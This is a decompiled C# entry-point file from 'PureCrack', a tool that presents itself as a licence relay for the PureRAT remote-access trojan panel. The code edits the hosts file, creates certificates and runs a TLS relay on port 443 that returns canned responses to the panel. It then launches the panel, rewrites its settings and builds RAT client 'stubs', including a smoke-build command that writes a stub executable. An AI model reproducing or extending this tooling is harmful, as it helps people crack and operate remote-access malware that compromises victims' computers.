PURErat-crack-scode/decompiled/PureCrack/Program.cs

using System;
using System.Collections.Generic;
using System.IO;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
using PureCrack.Build;
using PureCrack.Panel;
using PureCrack.Relay;
using PureCrack.Setup;
using PureCrack.Util;

namespace PureCrack;

internal static class Program
{
	public const int RelayPort = 443;

	public const int PanelPort = 56001;

	private static readonly TimeSpan PanelReadyTimeout = TimeSpan.FromMinutes(5.0);

	public static int Main(string[] args)
	{
		AppDomain.CurrentDomain.UnhandledException += delegate(object _, UnhandledExceptionEventArgs e)
		{
			WriteCrashLog("AppDomain.UnhandledException", e.ExceptionObject as Exception);
		};
		try
		{
			Console.OutputEncoding = Encoding.UTF8;
		}
		catch
		{
		}
		try
		{
			Log.Banner("PureCrack v2.0  ─  PureRAT licence relay");
			Log.Kv("Workspace", Workspace.Root);
			Log.Kv("Captures", Workspace.CapturesDir);
			Log.Kv("Stubs", Workspace.StubsDir);
			if (!CheckEmbeddedAssets())
			{
				return PauseAndExit(1);
			}
			if (args.Length != 0)
			{
				switch (args[0])
				{
				case "smoke-build":
					return SmokeBuildCommand();
				case "help":
				case "--help":
				case "-h":
					PrintHelp();
					return 0;
				}
			}
			return RunFullKit();
		}
		catch (Exception ex)
		{
			WriteCrashLog("Main", ex);
			return PauseAndExit(2);
		}
	}

	private static void WriteCrashLog(string source, Exception? ex)
	{
		string text = $"[{DateTime.Now:yyyy-MM-dd HH:mm:ss}] CRASH ({source})\n" + "  Message: " + (ex?.Message ?? "<no exception object>") + "\n  Type:    " + (ex?.GetType().FullName ?? "<unknown>") + "\n  Stack:\n" + Indent(ex?.ToString() ?? "<no stack>", "    ") + "\n----------------------------------------\n";
		try
		{
			Console.Error.WriteLine(text);
		}
		catch
		{
		}
		try
		{
			string text2 = Path.Combine(Workspace.DataDir, "last-crash.log");
			File.AppendAllText(text2, text);
			try
			{
				Console.Error.WriteLine("crash log: " + text2);
			}
			catch
			{
			}
		}
		catch
		{
			try
			{
				File.AppendAllText(Path.Combine(Path.GetDirectoryName(typeof(Program).Assembly.Location) ?? Environment.CurrentDirectory, "last-crash.log"), text);
			}
			catch
			{
			}
		}
	}

	private static string Indent(string s, string prefix)
	{
		if (string.IsNullOrEmpty(s))
		{
			return s;
		}
		return prefix + s.Replace("\n", "\n" + prefix);
	}

	private static int PauseAndExit(int code)
	{
		try
		{
			if (!Console.IsInputRedirected)
			{
				Console.Error.WriteLine();
				Console.Error.WriteLine("Press any key to close...");
				Console.ReadKey(intercept: true);
			}
		}
		catch
		{
		}
		return code;
	}

	private static int RunFullKit()
	{
		Log.Section("preflight");
		Preflight.Result result = Preflight.Run();
		Preflight.Report(result);
		if (!result.Ok)
		{
			return 1;
		}
		try
		{
			Log.Section("hosts + certs");
			HostsManager.Ensure();
			X509Certificate2 serverCert = CertManager.EnsureRelayCert();
			byte[] agentPfxBytes = CertManager.EnsureAgentCertPfxBytes();
			Log.Section("relay");
			RouteHandlers routes = new RouteHandlers(agentPfxBytes, EmbeddedAssets.CannedCompileResponse);
			using TlsRelay tlsRelay = new TlsRelay(serverCert, routes);
			tlsRelay.Start();
			Log.Section("settings + panel");
			string panelExePath = result.PanelExePath;
			string text = SettingsAutoFix.FindSettingsJson(panelExePath);
			if (text != null)
			{
				SettingsAutoFix.ReorderIpsToLoopbackFirst(text);
			}
			else
			{
				Log.Warn("Settings.json not found near " + panelExePath + " — skipping IPs reorder (set PURE_SETTINGS_JSON if it lives elsewhere)");
			}
			using (PanelLauncher.Launch(panelExePath))
			{
				ManualResetEventSlim done = new ManualResetEventSlim(initialState: false);
				Console.CancelKeyPress += delegate(object _, ConsoleCancelEventArgs e)
				{
					e.Cancel = true;
					done.Set();
				};
				if (PanelLauncher.WaitForListener(56001, PanelReadyTimeout))
				{
					Log.Banner("READY  ─  panel + relay running");
					Log.Info("click 'Builder Settings → Build' in the panel to produce a stub");
					Log.Info("stubs land in runs/stubs/. captures in runs/captures/.");
					Log.Info("Ctrl-C to stop the relay (panel keeps running).");
				}
				else
				{
					object arg = 56001;
					TimeSpan panelReadyTimeout = PanelReadyTimeout;
					Log.Warn($"panel didn't bind :{arg} within {panelReadyTimeout.TotalMinutes:0} min — " + "did you click Login? relay is still listening, so it's not too late.");
				}
				done.Wait();
				Log.Section("shutdown");
				tlsRelay.Stop();
				Log.Info("relay stopped. panel left running. exiting.");
				return 0;
			}
		}
		catch (Exception ex)
		{
			Log.Err("fatal: " + ex.Message);
			Log.Bullet(ex.ToString());
			return 1;
		}
	}

	private static bool CheckEmbeddedAssets()
	{
		try
		{
			_ = EmbeddedAssets.InnerSources.Count;
			_ = EmbeddedAssets.LoaderTemplate.Length;
			_ = EmbeddedAssets.ProtobufNetDll.Length;
			_ = EmbeddedAssets.CannedCompileResponse.Length;
			Log.Ok($"embedded assets OK ({EmbeddedAssets.InnerSources.Count} inner sources, " + $"{EmbeddedAssets.ProtobufNetDll.Length:N0}b protobuf-net.dll, " + $"{EmbeddedAssets.CannedCompileResponse.Length:N0}b canned /compile)");
			return true;
		}
		catch (Exception ex)
		{
			Log.Err("embedded assets missing — corrupted EXE? " + ex.Message);
			return false;
		}
	}

	private static int SmokeBuildCommand()
	{
		Log.Section("smoke-build: exercise the StubBuilder pipeline only");
		BuildConfig cfg = new BuildConfig
		{
			Ips = new List<string> { "127.0.0.1" },
			Ports = new List<int> { 56001 },
			CertPfxBase64 = "",
			Group = "smoke-test",
			Mutex = "purecrack-smoke"
		};
		try
		{
			byte[] array = StubBuilder.Build(cfg);
			string text = Path.Combine(Workspace.StubsDir, $"smoke_{DateTime.Now:yyyyMMdd_HHmmss}.exe");
			File.WriteAllBytes(text, array);
			Log.Ok($"smoke-build OK — wrote {array.Length:N0}b stub to {text}");
			return 0;
		}
		catch (Exception ex)
		{
			Log.Err("smoke-build FAILED: " + ex.Message);
			Log.Bullet(ex.ToString());
			return 1;
		}
	}

	private static void PrintHelp()
	{
		Console.WriteLine();
		Console.WriteLine("Usage: PureCrack.exe [subcommand]");
		Console.WriteLine();
		Console.WriteLine("With no subcommand: starts the full kit (relay + panel launch).");
		Console.WriteLine();
		Console.WriteLine("Subcommands:");
		Console.WriteLine("  smoke-build    Exercise the stub builder pipeline only (CI test)");
		Console.WriteLine("  help           Show this message");
		Console.WriteLine();
		Console.WriteLine("Environment overrides:");
		Console.WriteLine("  PURECRACK_WORKSPACE   Override workspace root (default: EXE dir)");
		Console.WriteLine("  PURE_PANEL_EXE        Path to PureRAT.exe");
		Console.WriteLine("  PURE_SETTINGS_JSON    Path to panel's Settings.json (default: sibling of PURE_PANEL_EXE)");
	}
}